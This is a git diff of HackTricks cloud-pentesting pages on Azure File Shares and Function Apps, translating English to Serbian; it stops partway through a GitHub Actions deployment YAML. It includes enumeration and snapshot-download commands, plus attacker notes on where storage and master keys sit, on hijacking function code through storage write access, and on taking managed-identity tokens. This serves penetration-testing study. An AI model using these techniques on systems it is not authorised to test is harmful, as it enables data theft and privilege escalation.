### Backups
|
||||
### Bekap
|
||||
|
||||
- **Daily backup**: A backup point is created each day at an indicated time (e.g. 19.30 UTC) and stored for from 1 to 200 days.
|
||||
- **Weekly backup**: A backup point is created each week at an indicated day and time (Sunday at 19.30) and stored for from 1 to 200 weeks.
|
||||
- **Monthly backup**: A backup point is created each month at an indicated day and time (e.g. first Sunday at 19.30) and stored for from 1 to 120 months.
|
||||
- **Yearly backup**: A backup point is created each year at an indicated day and time (e.g. January first Sunday at 19.30) and stored for from 1 to 10 years.
|
||||
- It's also possible to perform **manual backups and snapshots at any time**. Backups and snapshots are actually the same in this context.
|
||||
- **Dnevni bekap**: Tačka bekapa se kreira svakog dana u naznačeno vreme (npr. 19.30 UTC) i čuva se od 1 do 200 dana.
|
||||
- **Nedeljni bekap**: Tačka bekapa se kreira svake nedelje u naznačen dan i vreme (nedelja u 19.30) i čuva se od 1 do 200 nedelja.
|
||||
- **Mesečni bekap**: Tačka bekapa se kreira svakog meseca u naznačen dan i vreme (npr. prva nedelja u mesecu u 19.30) i čuva se od 1 do 120 meseci.
|
||||
- **Godišnji bekap**: Tačka bekapa se kreira svake godine u naznačen dan i vreme (npr. prva nedelja u januaru u 19.30) i čuva se od 1 do 10 godina.
|
||||
- Takođe je moguće izvršiti **ručne bekape i snimke u bilo kojem trenutku**. Bekap i snimci su zapravo isto u ovom kontekstu.
|
||||
|
||||
### Supported Authentications via SMB
|
||||
### Podržane Autentifikacije putem SMB
|
||||
|
||||
- **On-premises AD DS Authentication**: It uses on-premises Active Directory credentials synced with Microsoft Entra ID for identity-based access. It requires network connectivity to on-premises AD DS.
|
||||
- **Microsoft Entra Domain Services Authentication**: It leverages Microsoft Entra Domain Services (cloud-based AD) to provide access using Microsoft Entra credentials.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: It enables Microsoft Entra users to authenticate Azure file shares over the internet using Kerberos. It supports hybrid Microsoft Entra joined or Microsoft Entra joined VMs without requiring connectivity to on-premises domain controllers. But it does not support cloud-only identities.
|
||||
- **AD Kerberos Authentication for Linux Clients**: It allows Linux clients to use Kerberos for SMB authentication via on-premises AD DS or Microsoft Entra Domain Services.
|
||||
- **Autentifikacija putem lokalnog AD DS**: Koristi lokalne Active Directory akreditive sinhronizovane sa Microsoft Entra ID za pristup zasnovan na identitetu. Zahteva mrežnu povezanost sa lokalnim AD DS.
|
||||
- **Autentifikacija putem Microsoft Entra Domain Services**: Koristi Microsoft Entra Domain Services (oblaku zasnovan AD) za pružanje pristupa koristeći Microsoft Entra akreditive.
|
||||
- **Microsoft Entra Kerberos za hibridne identitete**: Omogućava Microsoft Entra korisnicima da autentifikuju Azure deljenja datoteka putem interneta koristeći Kerberos. Podržava hibridne Microsoft Entra pridružene ili Microsoft Entra pridružene VM bez zahteva za povezivanjem sa lokalnim kontrolerima domena. Ali ne podržava identitete koji su isključivo u oblaku.
|
||||
- **AD Kerberos Autentifikacija za Linux Klijente**: Omogućava Linux klijentima da koriste Kerberos za SMB autentifikaciju putem lokalnog AD DS ili Microsoft Entra Domain Services.
|
||||
|
||||
## Enumeration
|
||||
## Enumeracija
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -54,11 +53,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
|
||||
# Download snapshot/backup
|
||||
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
Get-AzStorageAccount
|
||||
|
||||
@@ -79,98 +76,87 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
|
||||
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login --enable-file-backup-request-intent`.
|
||||
> Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID glavnog korisnika, koristite parametre `--auth-mode login --enable-file-backup-request-intent`.
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
> Koristite parametar `--account-key` da označite ključ naloga koji će se koristiti\
|
||||
> Koristite parametar `--sas-token` sa SAS tokenom za pristup putem SAS tokena
|
||||
|
||||
### Connection
|
||||
### Povezivanje
|
||||
|
||||
These are the scripts proposed by Azure at the time of the writing to connect a File Share:
|
||||
Ovo su skripte koje je predložio Azure u vreme pisanja za povezivanje na File Share:
|
||||
|
||||
You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAME>` placeholders.
|
||||
Trebalo bi da zamenite `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` i `<FILE-SHARE-NAME>` mesta.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
|
||||
```powershell
|
||||
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
||||
if ($connectTestResult.TcpTestSucceeded) {
|
||||
# Save the password so the drive will persist on reboot
|
||||
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
|
||||
# Mount the drive
|
||||
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
|
||||
# Save the password so the drive will persist on reboot
|
||||
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
|
||||
# Mount the drive
|
||||
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
|
||||
} else {
|
||||
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
|
||||
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Linux"}}
|
||||
|
||||
```bash
|
||||
sudo mkdir /mnt/disk-shareeifrube
|
||||
if [ ! -d "/etc/smbcredentials" ]; then
|
||||
sudo mkdir /etc/smbcredentials
|
||||
fi
|
||||
if [ ! -f "/etc/smbcredentials/<STORAGE-ACCOUNT>.cred" ]; then
|
||||
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
fi
|
||||
sudo chmod 600 /etc/smbcredentials/<STORAGE-ACCOUNT>.cred
|
||||
|
||||
sudo bash -c 'echo "//<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> cifs nofail,credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30" >> /etc/fstab'
|
||||
sudo mount -t cifs //<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> -o credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="macOS"}}
|
||||
|
||||
```bash
|
||||
open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Regular storage enumeration (access keys, SAS...)
|
||||
### Redovna enumeracija skladišta (pristupni ključevi, SAS...)
|
||||
|
||||
{{#ref}}
|
||||
az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Eskalacija privilegija
|
||||
|
||||
Same as storage privesc:
|
||||
Isto kao skladišna eskalacija privilegija:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Post eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-file-share-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## Postojanost
|
||||
|
||||
Same as storage persistence:
|
||||
Isto kao skladišna postojanost:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,99 +4,99 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Function Apps** are a **serverless compute service** that allow you to run small pieces of code, called **functions**, without managing the underlying infrastructure. They are designed to execute code in response to various triggers, such as **HTTP requests, timers, or events from other Azure services** like Blob Storage or Event Hubs. Function Apps support multiple programming languages, including C#, Python, JavaScript, and Java, making them versatile for building **event-driven applications**, automating workflows, or integrating services. They are cost-effective, as you usually only pay for the compute time used when your code runs.
|
||||
**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **event-driven applications**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo za vreme obrade kada se vaš kod izvršava.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **Functions are a subset of the App Services**, therefore, a lot of the features discussed here will be used also by applications created as Azure Apps (`webapp` in cli).
|
||||
> Imajte na umu da su **Functions podskup App Services**, stoga će mnoge funkcije o kojima se ovde govori koristiti i aplikacije kreirane kao Azure Apps (`webapp` u cli).
|
||||
|
||||
### Different Plans
|
||||
|
||||
- **Flex Consumption Plan**: Offers **dynamic, event-driven scaling** with pay-as-you-go pricing, adding or removing function instances based on demand. It supports **virtual networking** and **pre-provisioned instances** to reduce cold starts, making it suitable for **variable workloads** that don’t require container support.
|
||||
- **Traditional Consumption Plan**: The default serverless option, where you **pay only for compute resources when functions run**. It automatically scales based on incoming events and includes **cold start optimizations**, but does not support container deployments. Ideal for **intermittent workloads** requiring automatic scaling.
|
||||
- **Premium Plan**: Designed for **consistent performance**, with **prewarmed workers** to eliminate cold starts. It offers **extended execution times, virtual networking**, and supports **custom Linux images**, making it perfect for **mission-critical applications** needing high performance and advanced features.
|
||||
- **Dedicated Plan**: Runs on dedicated virtual machines with **predictable billing** and supports manual or automatic scaling. It allows running multiple apps on the same plan, provides **compute isolation**, and ensures **secure network access** via App Service Environments, making it ideal for **long-running applications** needing consistent resource allocation.
|
||||
- **Container Apps**: Enables deploying **containerized function apps** in a managed environment, alongside microservices and APIs. It supports custom libraries, legacy app migration, and **GPU processing**, eliminating Kubernetes cluster management. Ideal for **event-driven, scalable containerized applications**.
|
||||
- **Flex Consumption Plan**: Nudi **dinamičko, event-driven skaliranje** sa plaćanjem po korišćenju, dodajući ili uklanjajući instance funkcija na osnovu potražnje. Podržava **virtuelno umrežavanje** i **pre-provisioned instances** kako bi se smanjili hladni startovi, što ga čini pogodnim za **varijabilne radne opterećenja** koja ne zahtevaju podršku kontejnera.
|
||||
- **Traditional Consumption Plan**: Podrazumevani serverless izbor, gde **plaćate samo za resurse obrade kada se funkcije izvršavaju**. Automatski se skalira na osnovu dolaznih događaja i uključuje **optimizacije hladnog starta**, ali ne podržava implementacije kontejnera. Idealno za **intermitentna radna opterećenja** koja zahtevaju automatsko skaliranje.
|
||||
- **Premium Plan**: Dizajniran za **dosledne performanse**, sa **prewarmed workers** kako bi se eliminisali hladni startovi. Nudi **produžene vreme izvršenja, virtuelno umrežavanje**, i podržava **prilagođene Linux slike**, što ga čini savršenim za **misiju-kritične aplikacije** koje zahtevaju visoke performanse i napredne funkcije.
|
||||
- **Dedicated Plan**: Radi na posvećenim virtuelnim mašinama sa **predvidljivim naplatama** i podržava ručno ili automatsko skaliranje. Omogućava pokretanje više aplikacija na istom planu, pruža **izolaciju obrade**, i osigurava **siguran pristup mreži** putem App Service Environments, što ga čini idealnim za **dugotrajne aplikacije** koje zahtevaju doslednu alokaciju resursa.
|
||||
- **Container Apps**: Omogućava implementaciju **kontejnerizovanih funkcija** u upravljanom okruženju, zajedno sa mikroservisima i API-ima. Podržava prilagođene biblioteke, migraciju nasleđenih aplikacija, i **GPU obradu**, eliminišući upravljanje Kubernetes klasterima. Idealno za **event-driven, skalabilne kontejnerizovane aplikacije**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
When creating a new Function App not containerised (but giving the code to run), the **code and other Function related data will be stored in a Storage account**. By default the web console will create a new one per function to store the code.
|
||||
Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju će biti pohranjeni u Storage nalogu**. Podrazumevano, web konzola će kreirati novi nalog po funkciji za skladištenje koda.
|
||||
|
||||
Moreover, modifying the code inside the bucket (in the different formats it could be stored), the **code of the app will be modified to the new one and executed** next time the Function is called.
|
||||
Štaviše, modifikovanjem koda unutar kante (u različitim formatima u kojima može biti pohranjen), **kod aplikacije će biti modifikovan na novi i izvršen** sledeći put kada se funkcija pozove.
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as **write access over this bucket** will allow an attacker to **compromise the code and escalate privileges** to the managed identities inside the Function App.
|
||||
> Ovo je veoma zanimljivo iz perspektive napadača jer **pristup za pisanje preko ove kante** će omogućiti napadaču da **kompromituje kod i eskalira privilegije** na upravljane identitete unutar Function App-a.
|
||||
>
|
||||
> More on this in the **privilege escalation section**.
|
||||
> Više o ovome u **odeljku o eskalaciji privilegija**.
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
Takođe je moguće pronaći **master i funkcijske ključeve** pohranjene u storage nalogu u kontejneru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON datotekama koje možete pronaći unutra.
|
||||
|
||||
Note that Functions also allow to store the code in a remote location just indicating the URL to it.
|
||||
Imajte na umu da Functions takođe omogućavaju skladištenje koda na udaljenoj lokaciji jednostavno ukazujući na URL.
|
||||
|
||||
### Networking
|
||||
|
||||
Using a HTTP trigger:
|
||||
Korišćenjem HTTP okidača:
|
||||
|
||||
- It's possible to give **access to a function to from all Internet** without requiring any authentication or give access IAM based. Although it’s also possible to restrict this access.
|
||||
- It's also possible to **give or restrict access** to a Function App from **an internal network (VPC)**.
|
||||
- Moguće je dati **pristup funkciji sa celog Interneta** bez potrebe za bilo kakvom autentifikacijom ili dati pristup na osnovu IAM. Iako je takođe moguće ograničiti ovaj pristup.
|
||||
- Takođe je moguće **dati ili ograničiti pristup** Function App-u iz **internetske mreže (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Function exposed to the Internet.
|
||||
> Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene Internetu.
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
It's possible to configure environment variables inside an app, which could contain sensitive information. Moreover, by default the env variables **`AzureWebJobsStorage`** and **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (among others) are created. These are specially interesting because they **contain the account key to control with FULL permissions the storage account containing the data of the application**. These settings are also needed to execute the code from the Storage Account.
|
||||
Moguće je konfigurisati varijable okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, podrazumevano se kreiraju varijable okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga.
|
||||
|
||||
These env variables or configuration parameters also controls how the Function execute the code, for example if **`WEBSITE_RUN_FROM_PACKAGE`** exists, it'll indicate the URL where the code of the application is located.
|
||||
Ove varijable okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se kod aplikacije nalazi.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
Inside the linux sandbox the source code is located in **`/home/site/wwwroot`** in the file **`function_app.py`** (if python is used) the user running the code is **`app`** (without sudo permissions).
|
||||
Unutar linux sandbox-a, izvorni kod se nalazi u **`/home/site/wwwroot`** u datoteci **`function_app.py`** (ako se koristi python), korisnik koji pokreće kod je **`app`** (bez sudo dozvola).
|
||||
|
||||
In a **Windows** function using NodeJS the code was located in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, the username was **`mawsFnPlaceholder8_f_v4_node_20_x86`** and was part of the **groups**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
U **Windows** funkciji koja koristi NodeJS, kod se nalazio u **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, korisničko ime je bilo **`mawsFnPlaceholder8_f_v4_node_20_x86`** i bio je deo **grupa**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
|
||||
### **Managed Identities & Metadata**
|
||||
|
||||
Just like [**VMs**](vms/), Functions can have **Managed Identities** of 2 types: System assigned and User assigned.
|
||||
Baš kao i [**VMs**](vms/), Functions mogu imati **Managed Identities** od 2 tipa: Sistem dodeljen i Korisnik dodeljen.
|
||||
|
||||
The **system assigned** one will be a managed identity that **only the function** that has it assigned would be able to use, while the **user assigned** managed identities are managed identities that **any other Azure service will be able to use**.
|
||||
**Sistem dodeljen** će biti upravljana identitet koja **samo funkcija** kojoj je dodeljena može koristiti, dok su **korisnik dodeljeni** upravljani identiteti koji **bilo koja druga Azure usluga može koristiti**.
|
||||
|
||||
> [!NOTE]
|
||||
> Just like in [**VMs**](vms/), Functions can have **1 system assigned** managed identity and **several user assigned** ones, so it's always important to try to find all of them if you compromise the function because you might be able to escalate privileges to several managed identities from just one Function.
|
||||
> Baš kao u [**VMs**](vms/), Functions mogu imati **1 sistem dodeljen** upravljani identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije.
|
||||
>
|
||||
> If a no system managed identity is used but one or more user managed identities are attached to a function, by default you won’t be able to get any token.
|
||||
> Ako se ne koristi sistemski upravljani identitet, ali su jedan ili više korisničkih upravljanih identiteta povezani sa funkcijom, podrazumevano nećete moći dobiti nijedan token.
|
||||
|
||||
It's possible to use the [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) to get tokens from the default managed identity from the metadata endpoint. Or you could get them **manually** as explained in:
|
||||
Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) za dobijanje tokena iz podrazumevanog upravljanog identiteta sa metadata endpoint-a. Ili ih možete dobiti **ručno** kao što je objašnjeno u:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
|
||||
Note that you need to find out a way to **check all the Managed Identities a function has attached** as if you don't indicate it, the metadata endpoint will **only use the default one** (check the previous link for more info).
|
||||
Imajte na umu da treba da pronađete način da **proverite sve upravljane identitete koje funkcija ima povezane** jer ako to ne navedete, metadata endpoint će **koristiti samo podrazumevani** (proverite prethodni link za više informacija).
|
||||
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> Note that there aren't RBAC permissions to give access to users to invoke the functions. The **function invocation depends on the trigger** selected when it was created and if a HTTP Trigger was selected, it might be needed to use an **access key**.
|
||||
> Imajte na umu da ne postoje RBAC dozvole za davanje pristupa korisnicima da pozivaju funkcije. **Poziv funkcije zavisi od okidača** odabranog prilikom kreiranja i ako je odabran HTTP okidač, možda će biti potrebno koristiti **pristupni ključ**.
|
||||
|
||||
When creating an endpoint inside a function using a **HTTP trigger** it's possible to indicate the **access key authorization level** needed to trigger the function. Three options are available:
|
||||
Kada kreirate endpoint unutar funkcije koristeći **HTTP okidač**, moguće je naznačiti **nivo autorizacije pristupnog ključa** potreban za aktiviranje funkcije. Dostupne su tri opcije:
|
||||
|
||||
- **ANONYMOUS**: **Everyone** can access the function by the URL.
|
||||
- **FUNCTION**: Endpoint is only accessible to users using a **function, host or master key**.
|
||||
- **ADMIN**: Endpoint is only accessible to users a **master key**.
|
||||
- **ANONYMOUS**: **Svi** mogu pristupiti funkciji putem URL-a.
|
||||
- **FUNCTION**: Endpoint je dostupan samo korisnicima koji koriste **funkcijski, host ili master ključ**.
|
||||
- **ADMIN**: Endpoint je dostupan samo korisnicima sa **master ključem**.
|
||||
|
||||
**Type of keys:**
|
||||
**Tipovi ključeva:**
|
||||
|
||||
- **Function Keys:** Function keys can be either default or user-defined and are designed to grant access exclusively to **specific function endpoints** within a Function App allowing a more fine-grained access over the endpoints.
|
||||
- **Host Keys:** Host keys, which can also be default or user-defined, provide access to **all function endpoints within a Function App with FUNCTION access level**.
|
||||
- **Master Key:** The master key (`_master`) serves as an administrative key that offers elevated permissions, including access to all function endpoints (ADMIN access lelvel included). This **key cannot be revoked.**
|
||||
- **System Keys:** System keys are **managed by specific extensions** and are required for accessing webhook endpoints used by internal components. Examples include the Event Grid trigger and Durable Functions, which utilize system keys to securely interact with their respective APIs.
|
||||
- **Funkcijski ključevi:** Funkcijski ključevi mogu biti podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim funkcijskim endpoint-ima** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad endpoint-ima.
|
||||
- **Host ključevi:** Host ključevi, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim funkcijskim endpoint-ima unutar Function App-a sa FUNCTION nivoom pristupa**.
|
||||
- **Master ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim funkcijskim endpoint-ima (uključujući ADMIN nivo pristupa). Ovaj **ključ ne može biti opozvan.**
|
||||
- **Sistemski ključevi:** Sistemski ključevi su **upravljani specifičnim ekstenzijama** i potrebni su za pristup webhook endpoint-ima koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima.
|
||||
|
||||
> [!TIP]
|
||||
> Example to access a function API endpoint using a key:
|
||||
> Primer za pristup funkciji API endpoint-u koristeći ključ:
|
||||
>
|
||||
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Just like in App Services, Functions also support basic authentication to connect to **SCM** and **FTP** to deploy code using a **username and password in a URL** provided by Azure. More information about it in:
|
||||
Baš kao u App Services, Functions takođe podržavaju osnovnu autentifikaciju za povezivanje sa **SCM** i **FTP** za implementaciju koda koristeći **korisničko ime i lozinku u URL-u** koji pruža Azure. Više informacija o tome u:
|
||||
|
||||
{{#ref}}
|
||||
az-app-service.md
|
||||
@@ -104,12 +104,11 @@ az-app-service.md
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
When a function is generated from a Github repo Azure web console allows to **automatically create a Github Workflow in a specific repository** so whenever this repository is updated the code of the function is updated. Actually the Github Action yaml for a python function looks like this:
|
||||
Kada se funkcija generiše iz Github repozitorijuma, Azure web konzola omogućava **automatsko kreiranje Github Workflow-a u specifičnom repozitorijumu** tako da kada god se ovaj repozitorijum ažurira, kod funkcije se ažurira. U stvari, Github Action yaml za python funkciju izgleda ovako:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Yaml</summary>
|
||||
|
||||
```yaml
|
||||
# Docs for the Azure Web Apps Deploy action: https://github.com/azure/functions-action
|
||||
# More GitHub Actions for Azure: https://github.com/Azure/actions
|
||||
@@ -118,95 +117,93 @@ When a function is generated from a Github repo Azure web console allows to **au
|
||||
name: Build and deploy Python project to Azure Function App - funcGithub
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
|
||||
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
|
||||
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
|
||||
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python version
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ env.PYTHON_VERSION }}
|
||||
- name: Setup Python version
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ env.PYTHON_VERSION }}
|
||||
|
||||
- name: Create and start virtual environment
|
||||
run: |
|
||||
python -m venv venv
|
||||
source venv/bin/activate
|
||||
- name: Create and start virtual environment
|
||||
run: |
|
||||
python -m venv venv
|
||||
source venv/bin/activate
|
||||
|
||||
- name: Install dependencies
|
||||
run: pip install -r requirements.txt
|
||||
- name: Install dependencies
|
||||
run: pip install -r requirements.txt
|
||||
|
||||
# Optional: Add step to run tests here
|
||||
# Optional: Add step to run tests here
|
||||
|
||||
- name: Zip artifact for deployment
|
||||
run: zip release.zip ./* -r
|
||||
- name: Zip artifact for deployment
|
||||
run: zip release.zip ./* -r
|
||||
|
||||
- name: Upload artifact for deployment job
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
path: |
|
||||
release.zip
|
||||
!venv/
|
||||
- name: Upload artifact for deployment job
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
path: |
|
||||
release.zip
|
||||
!venv/
|
||||
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
|
||||
permissions:
|
||||
id-token: write #This is required for requesting the JWT
|
||||
permissions:
|
||||
id-token: write #This is required for requesting the JWT
|
||||
|
||||
steps:
|
||||
- name: Download artifact from build job
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
steps:
|
||||
- name: Download artifact from build job
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
|
||||
- name: Unzip artifact for deployment
|
||||
run: unzip release.zip
|
||||
- name: Unzip artifact for deployment
|
||||
run: unzip release.zip
|
||||
|
||||
- name: Login to Azure
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
|
||||
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
|
||||
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
|
||||
- name: Login to Azure
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
